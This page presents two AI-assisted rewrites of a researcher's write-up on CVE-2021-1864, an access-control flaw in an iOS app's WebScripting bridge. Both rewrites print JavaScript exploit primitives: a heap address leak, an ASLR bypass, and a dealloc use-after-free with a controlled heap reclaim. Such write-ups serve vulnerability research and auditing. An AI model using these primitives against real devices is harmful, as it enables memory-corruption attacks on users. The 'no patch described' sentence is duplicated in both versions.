Skip to content
Access control Write-up Advanced

Mistuned Part 2: Butterfly Effect

An insufficient access control check in the WebScripting bridge of a local pre-installed app exposed all Objective-C methods to JavaScript, including lifecycle methods such as dealloc. An attacker who already had script injection could leak heap addresses, bypass ASLR, and trigger a use-after-free by freeing an object and reclaiming its memory with controlled data.

blog.chichou.me

Published on blog.chichou.me

In the last post, I used a client-side XSS to get JavaScript injected to a local pre-installed app. It has no process isolation while it still supports in-process just-in-time (JIT).

The author, on blog.chichou.me

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This is the second part of a series on a client-side attack chain against a local pre-installed app. The first part used a client-side XSS to get JavaScript injected into that app. The app has no process isolation while it still supports in-process just-in-time (JIT) compilation, so any working WebKit exploit applies there too, with far more access than the WebContent renderer. As the author puts it, it does not even need real code execution to launch the Calculator app.

Mistuned Part 2: Butterfly Effect
Mistuned Part 2: Butterfly Effect From the original on blog.chichou.me

The interesting surface is the WebView's Objective-C bridge. The app exposes some Objective-C methods to JavaScript under the iTunes namespace, and the corresponding interfaces are implemented by an SUScriptInterface instance. This bridge is powered by the obsolete WebScripting API, which automatically converts between JavaScript values (JSValue) and NSObject. The problem is insufficient access control on which selectors get exported, and that is what this post exploits.

Setup

The precondition is the JavaScript injection from the first part: code running inside the app's WebView, with access to the iTunes namespace. No accounts, roles or special tooling are described beyond that. The bug itself was introduced by iOS 6, and the report notes it was assigned CVE-2021-1864.

Finding it

The author draws a parallel with the well-known Android addJavaScriptInterface bug (CVE-2012-6636). There, before the patch, there was no sufficient access control on whether a method should be exported to JavaScript, and by abusing Java Reflection malicious scripts could execute arbitrary code remotely. WebScripting is similar to addJavaScriptInterface: both export extra native interfaces to JavaScript. Unlike JavaScriptInterface, WebScripting has had access control from the beginning.

The documentation is explicit about it: for security reasons no methods or KVC keys are exposed to the JavaScript environment by default, and a class must implement + (BOOL)isSelectorExcludedFromWebScript:(SEL)aSelector; and + (BOOL)isKeyExcludedFromWebScript:(const char *)name;. The default is to exclude all selectors and keys; returning NO for some selectors and key names exposes those selectors or keys to JavaScript.

The bug introduced by iOS 6 is that the exclusion check returns NO for every selector. It is only two instructions:

Text
bool +[SUScriptObject isSelectorExcludedFromWebScript:](id, SEL, SEL)
  MOV             W0, #0
  RET

By returning NO for every selector, all of the methods are visible to JavaScript. The author's summary is that this is just like addJavaScriptInterface without the @JavascriptInterface annotation.

Exploitation

Step 1: an addrof primitive from an exception message

Objective-C programming is about messaging. When an Objective-C instance receives an unknown selector, it throws an NSException like this:

unrecognized selector sent to instance 0x10b15a470

The address is usually the heap pointer of the object. The methods scriptWindowContext and setScriptWindowContext_ are the getter and setter for the iTunes.window object respectively, in that order. and they are not supposed to be used by JavaScript. With the access control policy above, the setter can be used to assign any object to that property, causing a potential runtime type confusion.

In -[SUScriptInterface window], the code performs the tag selector on that object. If the object does not recognise the selector, it throws an exception that JavaScript can catch, and the hexlified heap address of the object can be read out of Error.message:

JavaScript
function addrof(obj) {
  const saved = iTunes.scriptWindowContext()
  iTunes.setScriptWindowContext_(obj)
  try {
    iTunes.window
  } catch(e) {
    console.debug(e)
    const match = /instance (0x[\da-f]+)$/i.exec(e)
    if (match) return match[1]
    throw new Error('Unable to leak heap addr')
  } finally {
    iTunes.setScriptWindowContext_(saved)
  }
}

// usage:
addrof(iTunes.makeWindow())
addrof('A'.repeat(1024 * 1024))

The function saves the current window context, installs the target object as the window context, touches iTunes.window to trigger the tag selector, extracts the address from the exception text, and restores the saved context in a finally block. The author notes this primitive had never been seen before and only applies to this particular application.

Step 2: bypassing ASLR with the same primitive

The same primitive bypasses ASLR. The Objective-C runtime uses various tricks to save memory, such as tagged pointers and class clusters, and some magic values do not create a new object instance at all; they use shared instances instead:

  • __kCFNumberNaN: NaN
  • __kCFNumberPositiveInfinity: Infinity
  • __kCFBooleanTrue: true
  • __kCFBooleanFalse: false

So addrof(false) leaks the address of __kCFBooleanFalse, which lives in the CoreFoundation library. All system libraries are linked together in a huge dyld_shared_cache, so they share the same slide.

Step 3: a use-after-free through dealloc

The lack of access control also exposes methods that control the object lifecycle. The equivalent of free in Objective-C is the dealloc method. Asking the interface to allocate an object and then calling its deallocation method leaves a dangling reference:

JavaScript
const w = iTunes.makeWindow();
w.dealloc();
w // dangling reference

This results in an access violation within the runtime function objc_opt_respondsToSelector, where the runtime tries to dereference an invalid id pointer.

Step 4: reclaiming the freed memory

Classic UAF exploitation follows: refill the memory with another, differently shaped object to create a type confusion. All subclasses of SUScriptObject have the dealloc method exported, and there are plenty of -[SUScriptInterface make*] methods that allocate new instances of various SUScriptObject subclasses, making them ideal subjects for creating dangling pointers. The author chose makeXMLHTTPStoreRequest because the size of the object returned is big enough for not easily having collision with other common allocations.

The obstacle is that variable-size objects in JavaScriptCore have their own heap, so an ArrayBuffer or a JavaScript string cannot reclaim the freed memory. The solution was the method addMultiPartData:withName:type: in the SUScriptFacebookRequest class. Its first argument is a string that is later used to create an NSURL; when the URL scheme is data:, it calls SUGetDataForDataURL to decode the payload into an NSData with fully controlled length and content. That gives a malloc primitive in the desired heap, and it is even binary-safe: every single byte, including the isa pointer, is fully controllable.

JavaScript
// alloc an SUScriptXMLHTTPStoreRequest
const w = iTunes.makeXMLHTTPStoreRequest();
const req = iTunes.createFacebookRequest('http://', 'GET');
// malloc_size(SUScriptXMLHTTPStoreRequest) == 192
const uri = str2DataUri(makeStr(192));
// avoid GC
window.w = w; window.req = req;
// get a dangling pointer
w.dealloc();
for (let i = 0; i < 32; i++)
  req.addMultiPartData(uri, 'A', 'B');
w // boom

The script allocates an SUScriptXMLHTTPStoreRequest (whose malloc_size is 192), creates a Facebook request object, builds a data URI, keeps both alive on window to avoid garbage collection, frees the first object, and then repeatedly calls addMultiPartData before touching the dangling reference.

fakeobj
fakeobj From the original on blog.chichou.me

The remaining challenge, as the author puts it, is how to exploit this on PAC devices; that is left for the next posts.

Root cause

The mistake is in the access control implementation: +[SUScriptObject isSelectorExcludedFromWebScript:] returns NO unconditionally, so every selector of every SUScriptObject subclass is exported to JavaScript. The WebScripting API was designed to exclude everything by default and require classes to opt in, and the documentation carries a clear security warning, but the code still went wrong. Because the exclusion check is the only gate, the bridge exposes lifecycle methods such as dealloc and internal accessors such as scriptWindowContext and setScriptWindowContext_, which the application never intended JavaScript to reach.

Impact

With JavaScript already injected into the WebView, the exposed bridge gives an attacker an address leak (addrof), an ASLR bypass via shared CoreFoundation instances, and a use-after-free that can be turned into a controlled heap allocation and type confusion. The author notes the bug would not have been reachable without the first XSS, and considers it unfuzzable: although dealloc does make the app crash, the methods are not enumerable by JavaScript unless the exact names are known. Exploitation on PAC devices is left open in this post.

Fix

The report does not describe a patch. The report does not describe a patch.

Variants to test

  1. Audit other WebScripting bridges for classes that override the exclusion methods to return NO broadly, or that opt in selectors without a clear need. A positive result is any internal method (lifecycle, setter/getter pairs, memory management) reachable from JavaScript.
  2. Look for setter/getter pairs on bridged objects that let JavaScript install an arbitrary object into a property later used by native code, as with setScriptWindowContext_. A positive result is a native type confusion or an exception that leaks a heap address.
  3. Check whether lifecycle methods such as dealloc are exported on any bridged class. A positive result is a dangling reference and a crash in runtime functions such as objc_opt_respondsToSelector.
  4. Search bridged APIs for methods that turn attacker-controlled strings into native allocations, such as data URL decoding into NSData. A positive result is a binary-safe allocation of controlled size and content in the target heap.
  5. Test whether shared singleton values (true, false, NaN, Infinity) leak addresses in a shared cache, giving an ASLR bypass from the same leak primitive.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

This is the second part of a series about attacking an app that is already installed on the device, from the inside. The first part got JavaScript code running inside the app's built-in web view (the component that displays web pages inside an app). This part takes that foothold and turns it into memory corruption bugs.

The app has a bridge that lets JavaScript call native Objective-C methods. That bridge was supposed to exclude methods by default unless a class opted in. A single mistake in the lock, made years earlier, opened every method in the bridge to any script. From there the author built three things: a way to read the memory address of any object, a way to defeat the randomisation of memory addresses (ASLR), and a way to free an object and then reuse its memory with attacker-controlled content (a use-after-free).

No special tools, accounts or roles are involved. The only precondition is the JavaScript injection from the first part.

Mistuned Part 2: Butterfly Effect
Mistuned Part 2: Butterfly Effect From the original on blog.chichou.me

Background: what the bridge is

When an app shows web content, the web page's JavaScript normally lives in a sandbox: it can talk to the page, but not to the app's native code. A bridge is a deliberate hole in that wall. The app registers some native objects under a name, here iTunes, and JavaScript can then call methods on them as if they were ordinary JavaScript objects.

The mechanism used here is an old Apple API called WebScripting. It converts values automatically in both directions: a JavaScript value becomes an Objective-C object (NSObject) and back. The interfaces on the native side are implemented by a class called SUScriptInterface.

The security model of WebScripting is opt-in. By default, nothing is exposed. A class has to say explicitly which methods JavaScript may call. The documentation quoted in the report says exactly that:

For security reasons, no methods or KVC keys are exposed to the JavaScript environment by default. Instead a class must implement these methods:

  • + (BOOL)isSelectorExcludedFromWebScript:(SEL)aSelector;
  • + (BOOL)isKeyExcludedFromWebScript:(const char *)name;

The default is to exclude all selectors and keys. Returning NO for some selectors and key names will expose those selectors or keys to JavaScript.

In plain words: the method isSelectorExcludedFromWebScript: is asked, for each method (selector) of the class, "should this one be hidden from JavaScript?". Answering YES hides it, answering NO exposes it. The safe default is YES for everything, and a developer who wants to expose something answers NO for that one method only.

The mistake

The author compares this with a famous Android bug, addJavaScriptInterface (CVE-2012-6636). On Android, before the fix, there was no proper check on which Java methods could be called from a web page, and attackers could abuse Java reflection to run arbitrary code. WebScripting is the same idea: it exports native interfaces to JavaScript. The difference is that WebScripting had access control from the beginning, while the Android feature did not have sufficient access control before the patch.

But the implementation of that access control went wrong. The check that decides whether a method is hidden answers "no, do not hide it" for every method. The whole function is two instructions:

Text
bool +[SUScriptObject isSelectorExcludedFromWebScript:](id, SEL, SEL)
  MOV             W0, #0
  RET

Line by line:

  • bool +[SUScriptObject isSelectorExcludedFromWebScript:](id, SEL, SEL) is the function signature: a class method (the +) on SUScriptObject that takes a selector and returns a boolean.
  • MOV W0, #0 puts the value 0 into the register that carries the return value. In this convention 0 means false, that is, "this selector is not excluded".
  • RET returns to the caller.

So every method of every SUScriptObject subclass became callable from JavaScript. The author's summary: it is like addJavaScriptInterface without the @JavascriptInterface annotation, the annotation being the marker that says which methods are safe to expose.

Step 1: reading memory addresses (addrof)

Objective-C works by sending messages. You do not call a method directly; you send a selector to an object, and the runtime looks up what to do. If the object does not understand the selector, the runtime throws an exception whose text looks like this:

unrecognized selector sent to instance 0x10b15a470

That 0x... value is the memory address of the object, usually on the heap (the area of memory where objects created while the program runs are stored). If JavaScript can trigger such an exception and read its text, it can learn where an object lives in memory. That is the first building block of most memory exploits, and it is called an address leak or addrof primitive.

The report uses two methods for this: scriptWindowContext and setScriptWindowContext_, the getter and setter for the iTunes.window object, in that order. They were never meant to be called from JavaScript. Because of the broken check, they are. The setter lets the script put any object into that property. Later, the native code in -[SUScriptInterface window] sends the tag selector to whatever object is stored there. If the object does not understand tag, an exception is thrown, and JavaScript can catch it and read the address out of the message.

JavaScript
function addrof(obj) {
  const saved = iTunes.scriptWindowContext()
  iTunes.setScriptWindowContext_(obj)
  try {
    iTunes.window
  } catch(e) {
    console.debug(e)
    const match = /instance (0x[\da-f]+)$/i.exec(e)
    if (match) return match[1]
    throw new Error('Unable to leak heap addr')
  } finally {
    iTunes.setScriptWindowContext_(saved)
  }
}

// usage:
addrof(iTunes.makeWindow())
addrof('A'.repeat(1024 * 1024))

Line by line:

  • function addrof(obj) { declares a function that takes any object and returns its address as text.
  • const saved = iTunes.scriptWindowContext() reads the current window context and keeps it, so the app is not left in a broken state.
  • iTunes.setScriptWindowContext_(obj) installs the object we want to locate as the window context.
  • try { starts a block where an exception is expected.
  • iTunes.window touches the property, which makes the native code send tag to our object.
  • } catch(e) { catches the exception that results when the object does not understand tag.
  • console.debug(e) prints the exception for debugging.
  • const match = /instance (0x[\da-f]+)$/i.exec(e) searches the exception text for the word instance followed by a hexadecimal number at the end of the string.
  • if (match) return match[1] returns the captured hex address if the pattern matched.
  • throw new Error('Unable to leak heap addr') fails loudly if no address was found.
  • } finally { runs regardless of success or failure.
  • iTunes.setScriptWindowContext_(saved) restores the original window context.
  • The two usage lines show it working on a freshly created window object and on a one-megabyte string.

The author notes this primitive had never been seen before and only works in this particular application.

Step 2: defeating ASLR

ASLR (Address Space Layout Randomisation) is the operating system shuffling the locations of code and data in memory each time a program starts. An attacker who knows one address can often compute others, but only if the relative distances are fixed. ASLR exists to break exactly that.

The same leak primitive defeats it here. The Objective-C runtime saves memory by reusing shared instances for some common values instead of creating new objects. The report lists them:

  • __kCFNumberNaN: NaN
  • __kCFNumberPositiveInfinity: Infinity
  • __kCFBooleanTrue: true
  • __kCFBooleanFalse: false

So calling addrof(false) does not leak the address of a new object; it leaks the address of the shared __kCFBooleanFalse instance, which lives inside the CoreFoundation system library. All system libraries on the device are packed into one large shared cache (the dyld_shared_cache), so they all move together when ASLR randomises their base. Knowing the address of one value inside that cache therefore reveals where the whole cache sits, and the system libraries share the same slide.

Step 3: freeing an object while still holding it

Because every method is exposed, methods that manage an object's lifetime are exposed too. In Objective-C, the equivalent of free is dealloc: it releases the memory an object occupies. Normally JavaScript would never be allowed to call it. Here it can.

The script asks the interface to create an object, then calls its deallocation method. The variable still points at the object, but the memory is no longer owned by anyone. That situation has a name: a dangling reference, and the bug class is a use-after-free (UAF). It is like keeping the key to a hotel room after checking out: the room may be given to someone else, and your key still opens the door.

JavaScript
const w = iTunes.makeWindow();
w.dealloc();
w // dangling reference

Line by line:

  • const w = iTunes.makeWindow(); creates a native window object through the bridge and stores it in w.
  • w.dealloc(); frees that object's memory.
  • w // dangling reference is the variable that still refers to the freed memory.

Touching w afterwards causes an access violation inside the runtime function objc_opt_respondsToSelector, which tries to read through the now invalid pointer. The report notes the bug was introduced by iOS 6 and was assigned CVE-2021-1864.

Step 4: taking over the freed memory

The classic way to exploit a use-after-free is to free an object and then immediately allocate something else of a different type in the same slot. The program still thinks the slot holds the old type, so it interprets the new data as the old object. That mismatch is called a type confusion.

All subclasses of SUScriptObject have dealloc exposed, and there are many -[SUScriptInterface make*] methods that create instances of those subclasses. Any of them can be used to produce a dangling pointer. The author picked makeXMLHTTPStoreRequest because the object it returns is big enough for not easily having collision with other common allocations.

The obstacle: JavaScript's own engine (JavaScriptCore) keeps variable-size objects such as strings and ArrayBuffers on its own heap, so they cannot be used to refill the freed native memory. The solution was a method on SUScriptFacebookRequest called addMultiPartData:withName:type:. Its first argument is a string that is later turned into an NSURL. When the URL scheme is data:, the code calls SUGetDataForDataURL to decode the payload into an NSData object whose length and content are fully controlled. That gives a malloc primitive (the ability to allocate memory of a chosen size filled with chosen bytes) in the heap we care about, and it is binary-safe: every byte, including the isa pointer that tells the runtime what class an object is, can be set.

JavaScript
// alloc an SUScriptXMLHTTPStoreRequest
const w = iTunes.makeXMLHTTPStoreRequest();
const req = iTunes.createFacebookRequest('http://', 'GET');
// malloc_size(SUScriptXMLHTTPStoreRequest) == 192
const uri = str2DataUri(makeStr(192));
// avoid GC
window.w = w; window.req = req;
// get a dangling pointer
w.dealloc();
for (let i = 0; i < 32; i++)
  req.addMultiPartData(uri, 'A', 'B');
w // boom

Line by line:

  • const w = iTunes.makeXMLHTTPStoreRequest(); creates the object that will later be freed. Its allocation size is 192 bytes, as the comment states.
  • const req = iTunes.createFacebookRequest('http://', 'GET'); creates the object whose method will be used to spray controlled allocations.
  • const uri = str2DataUri(makeStr(192)); builds a data: URI whose decoded NSData has controlled length and content.
  • window.w = w; window.req = req; keeps both objects referenced from a global, so the garbage collector does not free them early.
  • w.dealloc(); frees the first object, leaving w dangling.
  • for (let i = 0; i < 32; i++) repeats the next call 32 times.
  • req.addMultiPartData(uri, 'A', 'B'); decodes the data URI into a new NSData of controlled size and content.
  • w // boom touches the dangling reference.
fakeobj
fakeobj From the original on blog.chichou.me

The remaining question, as the author puts it, is how to exploit this on devices with PAC (Pointer Authentication Codes, a hardware feature that signs pointers so they cannot be forged). That is left for the next posts.

Why it matters

With JavaScript already injected into the web view, the broken bridge gives an attacker three things in sequence: an address leak, a way around ASLR, and a use-after-free that can be turned into a controlled allocation and a type confusion. The author stresses that the bug would not have been reachable without the first XSS, and calls it unfuzzable: dealloc does crash the app, but JavaScript cannot enumerate the available methods, so an automated fuzzer would have to guess exact method names. Exploitation on PAC devices is left open in this post.

The root cause

The mistake is in the access control itself: +[SUScriptObject isSelectorExcludedFromWebScript:] returns NO unconditionally, so every selector of every SUScriptObject subclass is exported to JavaScript. The API was designed to exclude everything by default and let classes opt in, and the documentation carries a clear security warning, but the code still went wrong. Because that check is the only gate, the bridge exposes lifecycle methods such as dealloc and internal accessors such as scriptWindowContext and setScriptWindowContext_, which the application never intended JavaScript to reach.

The fix

The report does not describe a patch. The report does not describe a patch.

Variants to test

  1. Audit other WebScripting bridges for classes that override the exclusion methods to return NO broadly, or that opt in selectors without a clear need. A positive result is any internal method (lifecycle, setter/getter pairs, memory management) reachable from JavaScript.
  2. Look for setter/getter pairs on bridged objects that let JavaScript install an arbitrary object into a property later used by native code, as with setScriptWindowContext_. A positive result is a native type confusion or an exception that leaks a heap address.
  3. Check whether lifecycle methods such as dealloc are exported on any bridged class. A positive result is a dangling reference and a crash in runtime functions such as objc_opt_respondsToSelector.
  4. Search bridged APIs for methods that turn attacker-controlled strings into native allocations, such as data URL decoding into NSData. A positive result is a binary-safe allocation of controlled size and content in the target heap.
  5. Test whether shared singleton values (true, false, NaN, Infinity) leak addresses in a shared cache, giving an ASLR bypass from the same leak primitive.

Glossary

  • API: a defined set of functions one program offers to another; here, the methods the app lets JavaScript call.
  • ASLR: Address Space Layout Randomisation, the operating system placing code and data at random addresses each run so an attacker cannot predict them.
  • Access control: the rules deciding who or what may use a given method or resource.
  • Address leak: obtaining a memory address from a running program, usually the first step of an exploit.
  • ArrayBuffer: a JavaScript object holding raw binary data.
  • Binary-safe: able to carry any byte value, including zero bytes, without the data being cut short or altered.
  • Bridge: code that lets one environment (here JavaScript) call into another (here native Objective-C).
  • Class cluster: an Objective-C design where several concrete classes hide behind one public class.
  • CoreFoundation: an Apple system library providing basic data types such as numbers and booleans.
  • CVE: a public identifier for a known security vulnerability.
  • Dangling reference: a variable that still points at memory that has already been freed.
  • Data URI: a URL starting with data: that carries its content inline instead of pointing to a server.
  • dealloc: the Objective-C method that releases an object's memory.
  • dyld_shared_cache: a single file on Apple systems containing many system libraries, loaded together at one base address.
  • Exception: an error signal raised by code that can be caught and inspected by the caller.
  • Exploit: code or steps that turn a vulnerability into a concrete effect.
  • free / malloc: the C functions that release and reserve blocks of memory.
  • Fuzzing: automated testing that feeds many inputs to a program looking for crashes; the author calls this bug unfuzzable because method names cannot be guessed.
  • Garbage collection (GC): automatic freeing of objects no longer referenced by the program.
  • Getter / setter: a pair of methods that read and write a property.
  • Heap: the area of memory where objects created while a program runs are stored.
  • isa pointer: the field at the start of an Objective-C object that says which class it is.
  • JavaScriptCore: the JavaScript engine used by WebKit.
  • JIT: just-in-time compilation, turning code into machine instructions while the program runs.
  • KVC: Key-Value Coding, an Objective-C mechanism for accessing properties by name.
  • NSData / NSObject / NSURL: basic Apple object types for raw bytes, generic objects and URLs.
  • Objective-C: the programming language used for Apple's native app frameworks.
  • PAC: Pointer Authentication Codes, a hardware feature that signs pointers so forged ones are rejected.
  • Process isolation: running parts of an app in separate processes so a compromise of one does not reach the others.
  • Selector: the name of a method in Objective-C; sending a selector to an object invokes that method.
  • Type confusion: a bug where memory of one type is interpreted as another type.
  • Use-after-free (UAF): using memory after it has been freed, so the attacker may control what now sits there.
  • WebKit / WebContent renderer: the browser engine and the sandboxed process that renders web pages.
  • WebScripting: the Apple API that exposes native Objective-C objects to JavaScript.
  • WebView: the component an app uses to display web content inside itself.
  • XSS: cross-site scripting, injecting attacker-controlled JavaScript into a page or app.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.